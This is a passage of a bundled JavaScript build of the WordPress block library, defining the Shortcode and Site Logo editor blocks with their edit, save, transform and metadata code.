47430 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(ShortcodeEdit);
47431 const inputId = `blocks-shortcode-input-${instanceId}`;
47432 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { icon: shortcode_default, label: (0,external_wp_i18n_namespaceObject.__)("Shortcode"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47433 external_wp_blockEditor_namespaceObject.PlainText,
47434 {
47435 className: "blocks-shortcode__textarea",
47436 id: inputId,
47437 value: attributes.text,
47438 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Shortcode text"),
47439 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write shortcode here\u2026"),
47440 onChange: (text) => setAttributes({ text })
47441 }
47442 ) }) });
47443}
47444
47445
47446;// ./node_modules/@wordpress/block-library/build-module/shortcode/save.js
47447
47448
47449function shortcode_save_save({ attributes }) {
47450 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: attributes.text });
47451}
47452
47453
47454;// external ["wp","autop"]
47455const external_wp_autop_namespaceObject = window["wp"]["autop"];
47456;// ./node_modules/@wordpress/block-library/build-module/shortcode/transforms.js
47457
47458const shortcode_transforms_transforms = {
47459 from: [
47460 {
47461 type: "shortcode",
47462 // Per "Shortcode names should be all lowercase and use all
47463 // letters, but numbers and underscores should work fine too.
47464 // Be wary of using hyphens (dashes), you'll be better off not
47465 // using them." in https://codex.wordpress.org/Shortcode_API
47466 // Require that the first character be a letter. This notably
47467 // prevents footnote markings ([1]) from being caught as
47468 // shortcodes.
47469 tag: "[a-z][a-z0-9_-]*",
47470 attributes: {
47471 text: {
47472 type: "string",
47473 shortcode: (attrs, { content }) => {
47474 return (0,external_wp_autop_namespaceObject.removep)((0,external_wp_autop_namespaceObject.autop)(content));
47475 }
47476 }
47477 },
47478 priority: 20
47479 }
47480 ]
47481};
47482var shortcode_transforms_transforms_default = shortcode_transforms_transforms;
47483
47484
47485;// ./node_modules/@wordpress/block-library/build-module/shortcode/block.json
47486const shortcode_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/shortcode","title":"Shortcode","category":"widgets","description":"Insert additional custom elements with a WordPress shortcode.","textdomain":"default","attributes":{"text":{"type":"string","source":"raw","role":"content"}},"supports":{"className":false,"customClassName":false,"html":false},"editorStyle":"wp-block-shortcode-editor"}');
47487;// ./node_modules/@wordpress/block-library/build-module/shortcode/index.js
47488
47489
47490
47491
47492
47493
47494const { name: shortcode_name } = shortcode_block_namespaceObject;
47495const shortcode_settings = {
47496 icon: shortcode_default,
47497 transforms: shortcode_transforms_transforms_default,
47498 edit: ShortcodeEdit,
47499 save: shortcode_save_save
47500};
47501const shortcode_init = () => initBlock({ name: shortcode_name, metadata: shortcode_block_namespaceObject, settings: shortcode_settings });
47502
47503
47504;// ./node_modules/@wordpress/icons/build-module/library/site-logo.js
47505
47506
47507var site_logo_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm0 1.5c3.4 0 6.2 2.7 6.5 6l-1.2-.6-.8-.4c-.1 0-.2 0-.3-.1H16c-.1-.2-.4-.2-.7 0l-2.9 2.1L9 11.3h-.7L5.5 13v-1.1c0-3.6 2.9-6.5 6.5-6.5Zm0 13c-2.7 0-5-1.7-6-4l2.8-1.7 3.5 1.2h.4s.2 0 .4-.2l2.9-2.1.4.2c.6.3 1.4.7 2.1 1.1-.5 3.1-3.2 5.4-6.4 5.4Z" }) });
47508
47509
47510;// ./node_modules/@wordpress/block-library/build-module/site-logo/block.json
47511const site_logo_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/site-logo","title":"Site Logo","category":"theme","description":"Display an image to represent this site. Update this block and the changes apply everywhere.","textdomain":"default","attributes":{"width":{"type":"number"},"isLink":{"type":"boolean","default":true,"role":"content"},"linkTarget":{"type":"string","default":"_self","role":"content"},"shouldSyncIcon":{"type":"boolean"}},"example":{"viewportWidth":500,"attributes":{"width":350,"className":"block-editor-block-types-list__site-logo-example"}},"supports":{"html":false,"align":true,"alignWide":false,"color":{"text":false,"background":false},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"interactivity":{"clientNavigation":true},"filter":{"duotone":true}},"styles":[{"name":"default","label":"Default","isDefault":true},{"name":"rounded","label":"Rounded"}],"selectors":{"filter":{"duotone":".wp-block-site-logo img, .wp-block-site-logo .components-placeholder__illustration, .wp-block-site-logo .components-placeholder::before"}},"editorStyle":"wp-block-site-logo-editor","style":"wp-block-site-logo"}');
47512;// ./node_modules/@wordpress/block-library/build-module/site-logo/edit.js
47513
47514
47515
47516
47517
47518
47519
47520
47521
47522
47523
47524
47525
47526
47527const site_logo_edit_ALLOWED_MEDIA_TYPES = ["image"];
47528const ACCEPT_MEDIA_STRING = "image/*";
47529const SiteLogo = ({
47530 alt,
47531 attributes: { align, width, height, isLink, linkTarget, shouldSyncIcon },
47532 isSelected,
47533 setAttributes,
47534 setLogo,
47535 logoUrl,
47536 siteUrl,
47537 logoId,
47538 iconId,
47539 setIcon,
47540 canUserEdit
47541}) => {
47542 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
47543 const isWideAligned = ["wide", "full"].includes(align);
47544 const isResizable = !isWideAligned && isLargeViewport;
47545 const [{ naturalWidth, naturalHeight }, setNaturalSize] = (0,external_wp_element_namespaceObject.useState)({});
47546 const [isEditingImage, setIsEditingImage] = (0,external_wp_element_namespaceObject.useState)(false);
47547 const { toggleSelection } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
47548 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
47549 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
47550 const isContentOnlyMode = blockEditingMode === "contentOnly";
47551 const { imageEditing, maxWidth, title } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
47552 const settings = select(external_wp_blockEditor_namespaceObject.store).getSettings();
47553 const siteEntities = select(external_wp_coreData_namespaceObject.store).getEntityRecord(
47554 "root",
47555 "__unstableBase"
47556 );
47557 return {
47558 title: siteEntities?.name,
47559 imageEditing: settings.imageEditing,
47560 maxWidth: settings.maxWidth
47561 };
47562 }, []);
47563 (0,external_wp_element_namespaceObject.useEffect)(() => {
47564 if (shouldSyncIcon && logoId !== iconId) {
47565 setAttributes({ shouldSyncIcon: false });
47566 }
47567 }, []);
47568 (0,external_wp_element_namespaceObject.useEffect)(() => {
47569 if (!isSelected) {
47570 setIsEditingImage(false);
47571 }
47572 }, [isSelected]);
47573 function onResizeStart() {
47574 toggleSelection(false);
47575 }
47576 function onResizeStop() {
47577 toggleSelection(true);
47578 }
47579 const img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47580 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47581 "img",
47582 {
47583 className: "custom-logo",
47584 src: logoUrl,
47585 alt,
47586 onLoad: (event) => {
47587 setNaturalSize({
47588 naturalWidth: event.target.naturalWidth,
47589 naturalHeight: event.target.naturalHeight
47590 });
47591 }
47592 }
47593 ),
47594 (0,external_wp_blob_namespaceObject.isBlobURL)(logoUrl) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
47595 ] });
47596 let imgWrapper = img;
47597 if (isLink) {
47598 imgWrapper = /* eslint-disable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */
47599 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47600 "a",
47601 {
47602 href: siteUrl,
47603 className: "custom-logo-link",
47604 rel: "home",
47605 title,
47606 onClick: (event) => event.preventDefault(),
47607 children: img
47608 }
47609 );
47610 }
47611 if (!isResizable || !naturalWidth || !naturalHeight) {
47612 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { width, height }, children: imgWrapper });
47613 }
47614 const defaultWidth = 120;
47615 const currentWidth = width || defaultWidth;
47616 const ratio = naturalWidth / naturalHeight;
47617 const currentHeight = currentWidth / ratio;
47618 const minWidth = naturalWidth < naturalHeight ? constants_MIN_SIZE : Math.ceil(constants_MIN_SIZE * ratio);
47619 const minHeight = naturalHeight < naturalWidth ? constants_MIN_SIZE : Math.ceil(constants_MIN_SIZE / ratio);
47620 const maxWidthBuffer = maxWidth * 2.5;
47621 let showRightHandle = false;
47622 let showLeftHandle = false;
47623 if (align === "center") {
47624 showRightHandle = true;
47625 showLeftHandle = true;
47626 } else if ((0,external_wp_i18n_namespaceObject.isRTL)()) {
47627 if (align === "left") {
47628 showRightHandle = true;
47629 } else {
47630 showLeftHandle = true;
47631 }
47632 } else {
47633 if (align === "right") {
47634 showLeftHandle = true;
47635 } else {
47636 showRightHandle = true;
47637 }
47638 }
47639 const canEditImage = logoId && naturalWidth && naturalHeight && imageEditing;
47640 const shouldShowCropAndDimensions = !isContentOnlyMode;
47641 let imgEdit;
47642 if (canEditImage && isEditingImage) {
47643 imgEdit = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47644 external_wp_blockEditor_namespaceObject.__experimentalImageEditor,
47645 {
47646 id: logoId,
47647 url: logoUrl,
47648 width: currentWidth,
47649 height: currentHeight,
47650 naturalHeight,
47651 naturalWidth,
47652 onSaveImage: (imageAttributes) => {
47653 setLogo(imageAttributes.id);
47654 },
47655 onFinishEditing: () => {
47656 setIsEditingImage(false);
47657 }
47658 }
47659 );
47660 } else {
47661 imgEdit = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47662 external_wp_components_namespaceObject.ResizableBox,
47663 {
47664 size: {
47665 width: currentWidth,
47666 height: currentHeight
47667 },
47668 showHandle: isSelected && shouldShowCropAndDimensions,
47669 minWidth,
47670 maxWidth: maxWidthBuffer,
47671 minHeight,
47672 maxHeight: maxWidthBuffer / ratio,
47673 lockAspectRatio: true,
47674 enable: {
47675 top: false,
47676 right: showRightHandle,
47677 bottom: true,
47678 left: showLeftHandle
47679 },
47680 onResizeStart,
47681 onResizeStop: (event, direction, elt, delta) => {
47682 onResizeStop();
47683 setAttributes({
47684 width: parseInt(currentWidth + delta.width, 10),
47685 height: parseInt(currentHeight + delta.height, 10)
47686 });
47687 },
47688 children: imgWrapper
47689 }
47690 );
47691 }
47692 const shouldUseNewUrl = !window?.__experimentalUseCustomizerSiteLogoUrl;
47693 const siteIconSettingsUrl = shouldUseNewUrl ? siteUrl + "/wp-admin/options-general.php" : siteUrl + "/wp-admin/customize.php?autofocus[section]=title_tagline";
47694 const syncSiteIconHelpText = (0,external_wp_element_namespaceObject.createInterpolateElement)(
47695 (0,external_wp_i18n_namespaceObject.__)(
47696 "Site Icons are what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. To use a custom icon that is different from your site logo, use the <a>Site Icon settings</a>."
47697 ),
47698 {
47699 a: (
47700 // eslint-disable-next-line jsx-a11y/anchor-has-content
47701 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47702 "a",
47703 {
47704 href: siteIconSettingsUrl,
47705 target: "_blank",
47706 rel: "noopener noreferrer"
47707 }
47708 )
47709 )
47710 }
47711 );
47712 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47713 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
47714 external_wp_components_namespaceObject.__experimentalToolsPanel,
47715 {
47716 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
47717 dropdownMenuProps,
47718 children: [
47719 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47720 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
47721 {
47722 isShownByDefault: true,
47723 hasValue: () => !!width,
47724 label: (0,external_wp_i18n_namespaceObject.__)("Image width"),
47725 onDeselect: () => setAttributes({ width: void 0 }),
47726 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47727 external_wp_components_namespaceObject.RangeControl,
47728 {
47729 __nextHasNoMarginBottom: true,
47730 __next40pxDefaultSize: true,
47731 label: (0,external_wp_i18n_namespaceObject.__)("Image width"),
47732 onChange: (newWidth) => setAttributes({ width: newWidth }),
47733 min: minWidth,
47734 max: maxWidthBuffer,
47735 initialPosition: Math.min(
47736 defaultWidth,
47737 maxWidthBuffer
47738 ),
47739 value: width || "",
47740 disabled: !isResizable
47741 }
47742 )
47743 }
47744 ),
47745 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47746 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
47747 {
47748 isShownByDefault: true,
47749 hasValue: () => !isLink,
47750 label: (0,external_wp_i18n_namespaceObject.__)("Link image to home"),
47751 onDeselect: () => setAttributes({ isLink: true }),
47752 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47753 external_wp_components_namespaceObject.ToggleControl,
47754 {
47755 __nextHasNoMarginBottom: true,
47756 label: (0,external_wp_i18n_namespaceObject.__)("Link image to home"),
47757 onChange: () => setAttributes({ isLink: !isLink }),
47758 checked: isLink
47759 }
47760 )
47761 }
47762 ),
47763 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47764 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
47765 {
47766 isShownByDefault: true,
47767 hasValue: () => linkTarget === "_blank",
47768 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
47769 onDeselect: () => setAttributes({ linkTarget: "_self" }),
47770 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47771 external_wp_components_namespaceObject.ToggleControl,
47772 {
47773 __nextHasNoMarginBottom: true,
47774 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
47775 onChange: (value) => setAttributes({
47776 linkTarget: value ? "_blank" : "_self"
47777 }),
47778 checked: linkTarget === "_blank"
47779 }
47780 )
47781 }
47782 ),
47783 canUserEdit && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47784 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
47785 {
47786 isShownByDefault: true,
47787 hasValue: () => !!shouldSyncIcon,
47788 label: (0,external_wp_i18n_namespaceObject.__)("Use as Site Icon"),
47789 onDeselect: () => {
47790 setAttributes({ shouldSyncIcon: false });
47791 setIcon(void 0);
47792 },
47793 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47794 external_wp_components_namespaceObject.ToggleControl,
47795 {
47796 __nextHasNoMarginBottom: true,
47797 label: (0,external_wp_i18n_namespaceObject.__)("Use as Site Icon"),
47798 onChange: (value) => {
47799 setAttributes({ shouldSyncIcon: value });
47800 setIcon(value ? logoId : void 0);
47801 },
47802 checked: !!shouldSyncIcon,
47803 help: syncSiteIconHelpText
47804 }
47805 )
47806 }
47807 )
47808 ]
47809 }
47810 ) }),
47811 canEditImage && !isEditingImage && shouldShowCropAndDimensions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47812 external_wp_components_namespaceObject.ToolbarButton,
47813 {
47814 onClick: () => setIsEditingImage(true),
47815 icon: crop_default,
47816 label: (0,external_wp_i18n_namespaceObject.__)("Crop")
47817 }
47818 ) }),
47819 imgEdit
47820 ] });
47821};
47822function SiteLogoReplaceFlow({ mediaURL, ...mediaReplaceProps }) {
47823 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47824 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
47825 {
47826 ...mediaReplaceProps,
47827 mediaURL,
47828 allowedTypes: site_logo_edit_ALLOWED_MEDIA_TYPES,
47829 accept: ACCEPT_MEDIA_STRING
47830 }
47831 );
47832}
47833const InspectorLogoPreview = ({ media, itemGroupProps }) => {
47834 const {
47835 alt_text: alt,
47836 source_url: logoUrl,
47837 slug: logoSlug,
47838 media_details: logoMediaDetails
47839 } = media ?? {};
47840 const logoLabel = logoMediaDetails?.sizes?.full?.file || logoSlug;
47841 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { ...itemGroupProps, as: "span", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", as: "span", children: [
47842 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: logoUrl, alt }),
47843 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { as: "span", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47844 external_wp_components_namespaceObject.__experimentalTruncate,
47845 {
47846 numberOfLines: 1,
47847 className: "block-library-site-logo__inspector-media-replace-title",
47848 children: logoLabel
47849 }
47850 ) })
47851 ] }) });
47852};
47853function LogoEdit({
47854 attributes,
47855 className,
47856 setAttributes,
47857 isSelected
47858}) {
47859 const { width, shouldSyncIcon } = attributes;
47860 const {
47861 siteLogoId,
47862 canUserEdit,
47863 url,
47864 siteIconId,
47865 mediaItemData,
47866 isRequestingMediaItem
47867 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
47868 const { canUser, getEntityRecord, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
47869 const _canUserEdit = canUser("update", {
47870 kind: "root",
47871 name: "site"
47872 });
47873 const siteSettings = _canUserEdit ? getEditedEntityRecord("root", "site") : void 0;
47874 const siteData = getEntityRecord("root", "__unstableBase");
47875 const _siteLogoId = _canUserEdit ? siteSettings?.site_logo : siteData?.site_logo;
47876 const _siteIconId = siteSettings?.site_icon;
47877 const mediaItem = _siteLogoId && select(external_wp_coreData_namespaceObject.store).getEntityRecord(
47878 "postType",
47879 "attachment",
47880 _siteLogoId,
47881 {
47882 context: "view"
47883 }
47884 );
47885 const _isRequestingMediaItem = !!_siteLogoId && !select(external_wp_coreData_namespaceObject.store).hasFinishedResolution("getEntityRecord", [
47886 "postType",
47887 "attachment",
47888 _siteLogoId,
47889 { context: "view" }
47890 ]);
47891 return {
47892 siteLogoId: _siteLogoId,
47893 canUserEdit: _canUserEdit,
47894 url: siteData?.home,
47895 mediaItemData: mediaItem,
47896 isRequestingMediaItem: _isRequestingMediaItem,
47897 siteIconId: _siteIconId
47898 };
47899 }, []);
47900 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
47901 const [temporaryURL, setTemporaryURL] = (0,external_wp_element_namespaceObject.useState)();
47902 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
47903 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
47904 const setLogo = (newValue, shouldForceSync = false) => {
47905 if (shouldSyncIcon || shouldForceSync) {
47906 setIcon(newValue);
47907 }
47908 editEntityRecord("root", "site", void 0, {
47909 site_logo: newValue
47910 });
47911 };
47912 const setIcon = (newValue) => (
47913 // The new value needs to be `null` to reset the Site Icon.
47914 editEntityRecord("root", "site", void 0, {
47915 site_icon: newValue ?? null
47916 })
47917 );
47918 const { alt_text: alt, source_url: logoUrl } = mediaItemData ?? {};
47919 const onInitialSelectLogo = (media) => {
47920 if (shouldSyncIcon === void 0) {
47921 const shouldForceSync = !siteIconId;
47922 setAttributes({ shouldSyncIcon: shouldForceSync });
47923 onSelectLogo(media, shouldForceSync);
47924 return;
47925 }
47926 onSelectLogo(media);
47927 };
47928 const onSelectLogo = (media, shouldForceSync = false) => {
47929 if (!media) {
47930 return;
47931 }
47932 if (!media.id && media.url) {
47933 setTemporaryURL(media.url);
47934 setLogo(void 0);
47935 return;
47936 }
47937 setLogo(media.id, shouldForceSync);
47938 };
47939 const onRemoveLogo = () => {
47940 setLogo(null);
47941 setAttributes({ width: void 0 });
47942 };
47943 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
47944 const onUploadError = (message) => {
47945 createErrorNotice(message, { type: "snackbar" });
47946 setTemporaryURL();
47947 };
47948 const onFilesDrop = (filesList) => {
47949 getSettings().mediaUpload({
47950 allowedTypes: site_logo_edit_ALLOWED_MEDIA_TYPES,
47951 filesList,
47952 onFileChange([image]) {
47953 if ((0,external_wp_blob_namespaceObject.isBlobURL)(image?.url)) {
47954 setTemporaryURL(image.url);
47955 return;
47956 }
47957 onInitialSelectLogo(image);
47958 },
47959 onError: onUploadError,
47960 multiple: false
47961 });
47962 };
47963 const mediaReplaceFlowProps = {
47964 mediaURL: logoUrl,
47965 name: !logoUrl ? (0,external_wp_i18n_namespaceObject.__)("Choose logo") : (0,external_wp_i18n_namespaceObject.__)("Replace"),
47966 onSelect: onSelectLogo,
47967 onError: onUploadError,
47968 onReset: onRemoveLogo
47969 };
47970 const controls = canUserEdit && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteLogoReplaceFlow, { ...mediaReplaceFlowProps }) });
47971 let logoImage;
47972 const isLoading = siteLogoId === void 0 || isRequestingMediaItem;
47973 if (isLoading) {
47974 logoImage = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
47975 }
47976 (0,external_wp_element_namespaceObject.useEffect)(() => {
47977 if (logoUrl && temporaryURL) {
47978 setTemporaryURL();
47979 }
47980 }, [logoUrl, temporaryURL]);
47981 if (!!logoUrl || !!temporaryURL) {
47982 logoImage = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47983 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47984 SiteLogo,
47985 {
47986 alt,
47987 attributes,
47988 className,
47989 isSelected,
47990 setAttributes,
47991 logoUrl: temporaryURL || logoUrl,
47992 setLogo,
47993 logoId: mediaItemData?.id || siteLogoId,
47994 siteUrl: url,
47995 setIcon,
47996 iconId: siteIconId,
47997 canUserEdit
47998 }
47999 ),
48000 canUserEdit && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, { onFilesDrop })
48001 ] });
48002 }
48003 const placeholder = (content) => {
48004 const placeholderClassName = dist_clsx(
48005 "block-editor-media-placeholder",
48006 className
48007 );
48008 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48009 external_wp_components_namespaceObject.Placeholder,
48010 {
48011 className: placeholderClassName,
48012 preview: logoImage,
48013 withIllustration: true,
48014 style: {
48015 width
48016 },
48017 children: content
48018 }
48019 );
48020 };
48021 const classes = dist_clsx(className, {
48022 "is-default-size": !width,
48023 "is-transient": temporaryURL
48024 });
48025 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className: classes });
48026 const mediaInspectorPanel = (canUserEdit || logoUrl) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48027 external_wp_components_namespaceObject.__experimentalToolsPanel,
48028 {
48029 label: (0,external_wp_i18n_namespaceObject.__)("Media"),
48030 dropdownMenuProps,
48031 children: !canUserEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48032 "div",
48033 {
48034 className: "block-library-site-logo__inspector-media-replace-container",
48035 style: { gridColumn: "1 / -1" },
48036 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48037 InspectorLogoPreview,
48038 {
48039 media: mediaItemData,
48040 itemGroupProps: {
48041 isBordered: true,
48042 className: "block-library-site-logo__inspector-readonly-logo-preview"
48043 }
48044 }
48045 )
48046 }
48047 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48048 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
48049 {
48050 hasValue: () => !!logoUrl,
48051 label: (0,external_wp_i18n_namespaceObject.__)("Logo"),
48052 isShownByDefault: true,
48053 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-library-site-logo__inspector-media-replace-container", children: [
48054 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48055 SiteLogoReplaceFlow,
48056 {
48057 ...mediaReplaceFlowProps,
48058 name: !!logoUrl ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48059 InspectorLogoPreview,
48060 {
48061 media: mediaItemData
48062 }
48063 ) : (0,external_wp_i18n_namespaceObject.__)("Choose logo"),
48064 renderToggle: (props) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { ...props, __next40pxDefaultSize: true, children: temporaryURL ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : props.children })
48065 }
48066 ),
48067 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, { onFilesDrop })
48068 ] })
48069 }
48070 )
48071 }
48072 ) });
48073 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
48074 controls,
48075 mediaInspectorPanel,
48076 (!!logoUrl || !!temporaryURL) && logoImage,
48077 (isLoading || !temporaryURL && !logoUrl && !canUserEdit) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className: "site-logo_placeholder", withIllustration: true, children: isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "components-placeholder__preview", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) }),
48078 !isLoading && !temporaryURL && !logoUrl && canUserEdit && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48079 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
48080 {
48081 onSelect: onInitialSelectLogo,
48082 accept: ACCEPT_MEDIA_STRING,
48083 allowedTypes: site_logo_edit_ALLOWED_MEDIA_TYPES,
48084 onError: onUploadError,
48085 placeholder,
48086 mediaLibraryButton: ({ open }) => {
48087 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48088 external_wp_components_namespaceObject.Button,
48089 {
48090 __next40pxDefaultSize: true,
48091 icon: upload_default,
48092 variant: "primary",
48093 label: (0,external_wp_i18n_namespaceObject.__)("Choose logo"),
48094 showTooltip: true,
48095 tooltipPosition: "middle right",
48096 onClick: () => {
48097 open();
48098 }
48099 }
48100 );
48101 }
48102 }
48103 )
48104 ] });
48105}
48106
48107
48108;// ./node_modules/@wordpress/block-library/build-module/site-logo/transforms.js
48109
48110const site_logo_transforms_transforms = {
48111 to: [
48112 {
48113 type: "block",
48114 blocks: ["core/site-title"],
48115 transform: ({ isLink, linkTarget }) => {
48116 return (0,external_wp_blocks_namespaceObject.createBlock)("core/site-title", {
48117 isLink,
48118 linkTarget
48119 });
48120 }
48121 }
48122 ]
48123};
48124var site_logo_transforms_transforms_default = site_logo_transforms_transforms;
48125
48126
48127;// ./node_modules/@wordpress/block-library/build-module/site-logo/index.js
48128
48129
48130
48131
48132
48133const { name: site_logo_name } = site_logo_block_namespaceObject;
48134const site_logo_settings = {
48135 icon: site_logo_default,
48136 example: {},
48137 edit: LogoEdit,
48138 transforms: site_logo_transforms_transforms_default
48139};
48140const site_logo_init = () => initBlock({ name: site_logo_name, metadata: site_logo_block_namespaceObject, settings: site_logo_settings });
48141
48142
48143;// ./node_modules/@wordpress/block-library/build-module/site-tagline/block.json
